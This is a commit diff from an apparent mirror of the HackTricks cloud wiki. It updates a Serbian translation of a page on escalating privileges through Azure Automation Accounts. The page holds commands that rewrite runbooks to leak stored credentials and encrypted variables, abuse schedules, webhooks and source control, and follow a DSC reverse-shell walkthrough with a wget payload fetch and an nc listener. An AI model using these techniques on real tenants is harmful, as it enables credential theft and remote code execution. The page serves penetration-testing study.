mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+66
-48
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Automation Accounts
|
||||
|
||||
Za više informacija proverite:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-automation-accounts.md
|
||||
@@ -12,29 +12,29 @@ Za više informacija proverite:
|
||||
|
||||
### Hybrid Workers Group
|
||||
|
||||
- **Od Automation Account do VM**
|
||||
- **Iz Automation Account u VM**
|
||||
|
||||
Zapamtite da ako napadač nekako može da izvrši proizvoljan runbook (proizvoljan kod) u hybrid worker-u, on će **preći na lokaciju VM-a**. Ovo može biti lokalna mašina, VPC druge cloud platforme ili čak Azure VM.
|
||||
Zapamtite da ako napadač nekako može da izvrši proizvoljan runbook (proizvoljni kod) na hybrid worker-u, on će **pivot to the location of the VM**. Ovo može biti on-premise mašina, VPC drugog cloud-a ili čak Azure VM.
|
||||
|
||||
Štaviše, ako hybrid worker radi u Azure-u sa drugim Managed Identities, runbook će moći da pristupi **managed identity runbook-a i svim managed identities VM-a iz metadata servisa**.
|
||||
Pored toga, ako hybrid worker radi u Azure-u sa drugim Managed Identities pridruženim, runbook će moći da pristupi **managed identity of the runbook and all the managed identities of the VM from the metadata service**.
|
||||
|
||||
> [!TIP]
|
||||
> Zapamtite da **metadata servis** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kojeg se dobija token managed identities automation account-a (**`IDENTITY_ENDPOINT`**).
|
||||
> Zapamtite da **metadata service** ima drugačiji URL (**`http://169.254.169.254`**) nego servis odakle se dobija managed identities token automation account-a (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **Od VM do Automation Account**
|
||||
- **Iz VM-a u Automation Account**
|
||||
|
||||
Štaviše, ako neko kompromituje VM na kojem se izvršava skripta automation account-a, on će moći da locira **Automation Account** metadata i pristupi mu sa VM-a kako bi dobio tokene za **Managed Identities** povezane sa Automation Account.
|
||||
Pored toga, ako neko kompromituje VM na kojem se izvršava skripta iz automation account-a, moći će da locira **Automation Account** metadata i pristupi njima sa VM-a kako bi dobio tokene za **Managed Identities** pridružene Automation Account-u.
|
||||
|
||||
Kao što se može videti na sledećoj slici, imajući Administrator pristup nad VM-om, moguće je pronaći u **environment variables procesa** URL i tajnu za pristup metadata servisu automation account-a:
|
||||
Kao što se može videti na sledećoj slici, imajući Administrator pristup nad VM-om moguće je pronaći u **environment variables of the process** URL i secret za pristup automation account metadata service:
|
||||
|
||||

|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Kao sažetak, ova dozvola omogućava **kreiranje, modifikovanje i izvršavanje Runbooks** u Automation Account-u, što možete koristiti za **izvršavanje koda** u kontekstu Automation Account-a i eskalaciju privilegija na dodeljene **Managed Identities** i curenje **akreditiva** i **kriptovanih varijabli** koje su pohranjene u Automation Account.
|
||||
Ukratko, ove dozvole omogućavaju da **create, modify and run Runbooks** u Automation Account-u, što možete iskoristiti da **execute code** u kontekstu Automation Account-a i eskalirate privilegije na dodeljene **Managed Identities** i leak **credentials** i **encrypted variables** koje su sačuvane u Automation Account-u.
|
||||
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava modifikovanje koda Runbook-a u Automation Account-u koristeći:
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava izmenu koda Runbook-a u Automation Account-u koristeći:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,16 +47,16 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Napomena kako se prethodni skript može koristiti za **curenje korisničkog imena i lozinke** kredencijala i vrednosti **kriptovane promenljive** smeštene u Automation Account.
|
||||
Obratite pažnju kako prethodni skript može da se iskoristi za **leak korisničkog imena i lozinke** kredencijala i vrednost **šifrovane promenljive** koja je sačuvana u Automation Account.
|
||||
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** omogućava korisniku da objavi Runbook u Automation Account-u tako da se promene primene:
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** omogućava korisniku da objavi Runbook u Automation Account tako da se promene primene:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/jobs/write`** omogućava korisniku da pokrene Runbook u Automation Account-u koristeći:
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/jobs/write`** omogućava korisniku da pokrene Runbook u Automation Account koristeći:
|
||||
```bash
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
@@ -64,18 +64,18 @@ az automation runbook start \
|
||||
--name <runbook-name> \
|
||||
[--run-on <name-hybrid-group>]
|
||||
```
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/jobs/output/read`** omogućava korisniku da pročita izlaz posla u Automation Account koristeći:
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/jobs/output/read`** omogućava korisniku da pročita izlaz job-a u Automation Account koristeći:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Ako nisu kreirani Runbook-ovi, ili želite da kreirate novi, biće vam potrebne **dozvole `Microsoft.Resources/subscriptions/resourcegroups/read` i `Microsoft.Automation/automationAccounts/runbooks/write`** da to uradite koristeći:
|
||||
Ako nisu kreirani Runbooks, ili želite da kreirate novi, biće vam potrebna **ovlašćenja `Microsoft.Resources/subscriptions/resourcegroups/read` i `Microsoft.Automation/automationAccounts/runbooks/write`** da to uradite koristeći:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Ova dozvola omogućava korisniku da **dodeli identitet koji upravlja korisnikom** Automatskom nalogu koristeći:
|
||||
Ova dozvola omogućava korisniku da **dodeli user managed identity** na Automation Account koristeći:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -91,9 +91,9 @@ az rest --method PATCH \
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
Sa dozvolom **`Microsoft.Automation/automationAccounts/schedules/write`** moguće je kreirati novi raspored u Automation Account-u koji se izvršava svake 15 minuta (nije baš tajno) koristeći sledeću komandu.
|
||||
Sa dozvolom **`Microsoft.Automation/automationAccounts/schedules/write`** moguće je kreirati novi Schedule u Automation Account koji se izvršava svakih 15 minuta (nije baš stealth) koristeći sledeću komandu.
|
||||
|
||||
Napomena: **minimalni interval za raspored je 15 minuta**, a **minimalno vreme početka je 5 minuta** u budućnosti.
|
||||
Imajte na umu da je **najmanji interval za Schedule je 15 minuta**, i da je **minimalno vreme početka je 5 minuta** u budućnosti.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -115,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Zatim, uz dozvolu **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti Scheduler-u runbook koristeći:
|
||||
Zatim, uz dozvolu **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti Scheduler runbooku koristeći:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -134,22 +134,40 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> U prethodnom primeru, jobchedule id je ostavljen kao **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` kao primer** ali ćete morati da koristite proizvoljnu vrednost za kreiranje ovog dodeljivanja.
|
||||
> U prethodnom primeru jobchedule id je ostavljen kao **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` kao primer** ali ćete morati da koristite proizvoljnu vrednost da biste kreirali ovo dodeljivanje.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Sa dozvolom **`Microsoft.Automation/automationAccounts/webhooks/write`** moguće je kreirati novi Webhook za Runbook unutar Automation Account-a koristeći sledeću komandu.
|
||||
Sa dozvolom **`Microsoft.Automation/automationAccounts/webhooks/write`** moguće je kreirati novi Webhook za Runbook unutar Automation Account koristeći jednu od sledećih komandi.
|
||||
|
||||
With Azure Powershell:
|
||||
```bash
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
Ova komanda treba da vrati webhook URI koji se prikazuje samo prilikom kreiranja. Zatim, da pozovete runbook koristeći webhook URI
|
||||
Koristeći AzureCLI i REST:
|
||||
```bash
|
||||
az rest --method put \
|
||||
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2027-12-31T23:59:59+00:00",
|
||||
"runOn": "<worker name>",
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Ove komande bi trebalo da vrate webhook URI koji se prikazuje samo prilikom kreiranja. Zatim, да бисте позвали runbook користећи webhook URI
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Samo sa dozvolom `Microsoft.Automation/automationAccounts/runbooks/draft/write` moguće je **ažurirati kod Runbook-a** bez objavljivanja i pokrenuti ga koristeći sledeće komande.
|
||||
Samo sa dozvolom `Microsoft.Automation/automationAccounts/runbooks/draft/write` moguće je ažurirati kod Runbook-a bez objavljivanja i pokrenuti ga koristeći sledeće komande.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Ova dozvola omogućava korisniku da **konfiguriše kontrolu izvora** za Automation Account koristeći komande kao što su sledeće (ovde se koristi Github kao primer):
|
||||
Ova dozvola omogućava korisniku da **configure a source control** za Automation Account koristeći komande kao u sledećem primeru (ovde se koristi Github kao primer):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -190,16 +208,16 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a uz neke druge dozvole za pokretanje, bilo bi **moguće eskalirati privilegije**.
|
||||
Ovo će automatski importovati runbooks iz Github repository u Automation Account i uz još neke dozvole za njihovo pokretanje bilo bi **moguće eskalirati privilegije**.
|
||||
|
||||
Pored toga, zapamtite da za rad kontrole verzija u Automation Accounts mora imati upravljanu identitet sa ulogom **`Contributor`**, a ako je to korisnički upravljani identitet, klijentski ID MI mora biti naveden u varijabli **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Pored toga, imajte na umu da da bi source control funkcionisao u Automation Accounts mora imati managed identity sa ulogom **`Contributor`**, i ako je u pitanju user managed identity, client id MI mora biti naveden u promenljivoj **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Imajte na umu da nije moguće promeniti URL repozitorijuma kontrole verzija nakon što je kreiran.
|
||||
> Imajte na umu da nije moguće promeniti repo URL source control-a nakon što je kreiran.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
Sa dozvolom **`Microsoft.Automation/automationAccounts/variables/write`** moguće je pisati varijable u Automation Account koristeći sledeću komandu.
|
||||
Sa dozvolom **`Microsoft.Automation/automationAccounts/variables/write`** moguće je upisivati promenljive u Automation Account koristeći sledeću naredbu.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -213,53 +231,53 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Prilagođena Runtime Okruženja
|
||||
### Prilagođena runtime okruženja
|
||||
|
||||
Ako automatizovani nalog koristi prilagođeno runtime okruženje, može biti moguće prepisati prilagođeni paket runtime-a nekim zlonamernim kodom (kao što je **backdoor**). Na ovaj način, svaki put kada se izvrši runbook koji koristi to prilagođeno runtime, i učita prilagođeni paket, zlonamerni kod će biti izvršen.
|
||||
Ako automation account koristi custom runtime environment, moguće je prepisati custom package tog runtime-a zlonamernim kodom (poput **a backdoor**). Na taj način, kad god se pokrene runbook koji koristi taj custom runtime i učita custom package, zlonamerni kod će biti izvršen.
|
||||
|
||||
### Kompromitovanje Konfiguracije Stanja
|
||||
### Kompromitovanje State Configuration
|
||||
|
||||
**Proverite ceo post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
**Pročitajte ceo post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Korak 1 — Kreiranje Fajlova
|
||||
- Korak 1 — Kreiranje fajlova
|
||||
|
||||
**Potrebni Fajlovi:** Potrebna su dva PowerShell skripta:
|
||||
1. `reverse_shell_config.ps1`: Fajl za Desired State Configuration (DSC) koji preuzima i izvršava payload. Može se preuzeti sa [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Skript za objavljivanje konfiguracije na VM, dostupan na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
**Potrebni fajlovi:** Potrebne su dve PowerShell skripte:
|
||||
1. `reverse_shell_config.ps1`: Desired State Configuration (DSC) fajl koji preuzima i izvršava payload. Dostupan je na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: skripta za objavljivanje konfiguracije na VM, dostupna na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Prilagođavanje:** Varijable i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući imena resursa, putanje fajlova i identifikatore servera/payload-a.
|
||||
**Prilagođavanje:** Varijable i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući nazive resursa, putanje fajlova i identifikatore servera/payload-a.
|
||||
|
||||
- Korak 2 — Zip Fajl Konfiguracije
|
||||
- Korak 2 — Kompresovanje konfiguracionog fajla
|
||||
|
||||
Fajl `reverse_shell_config.ps1` se kompresuje u `.zip` fajl, čineći ga spremnim za prenos na Azure Storage Account.
|
||||
`reverse_shell_config.ps1` je kompresovan u `.zip` fajl, čime je spreman za prebacivanje na Azure Storage Account.
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Korak 3 — Postavi kontekst skladišta i otpremi
|
||||
- Korak 3 — Set Storage Context & Upload
|
||||
|
||||
Zipped konfiguracioni fajl se otpremi u unapred definisani Azure Storage kontejner, azure-pentest, koristeći Azure-ovu Set-AzStorageBlobContent cmdlet.
|
||||
Zipovana konfiguraciona datoteka se otprema u predefinisani Azure Storage container, azure-pentest, koristeći Azure-ov Set-AzStorageBlobContent cmdlet.
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Korak 4 — Priprema Kali Box-a
|
||||
- Korak 4 — Priprema Kali mašine
|
||||
|
||||
Kali server preuzima RevPS.ps1 payload iz GitHub repozitorijuma.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
Skripta je uređena da specificira ciljni Windows VM i port za reverznu ljusku.
|
||||
Skript se izmenjuje da bi se odredio ciljni Windows VM i port za reverse shell.
|
||||
|
||||
- Korak 5 — Objavi Konfiguracioni Fajl
|
||||
- Korak 5 — Objavi konfiguracioni fajl
|
||||
|
||||
Konfiguracioni fajl se izvršava, što rezultira time da se skripta za reverznu ljusku postavlja na određenu lokaciju na Windows VM-u.
|
||||
Konfiguracioni fajl se izvršava, zbog čega se reverse-shell skripta postavlja na navedenu lokaciju na Windows VM.
|
||||
|
||||
- Korak 6 — Hostuj Payload i Postavi Listener
|
||||
- Korak 6 — Hostovanje payload-a i podešavanje listener-a
|
||||
|
||||
Pokreće se Python SimpleHTTPServer da hostuje payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija.
|
||||
Pokreće se Python SimpleHTTPServer da bi hostovao payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
Zakazani zadatak izvršava payload, postižući privilegije na nivou SYSTEM.
|
||||
Zakazani zadatak izvršava payload, dostižući privilegije na nivou SYSTEM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user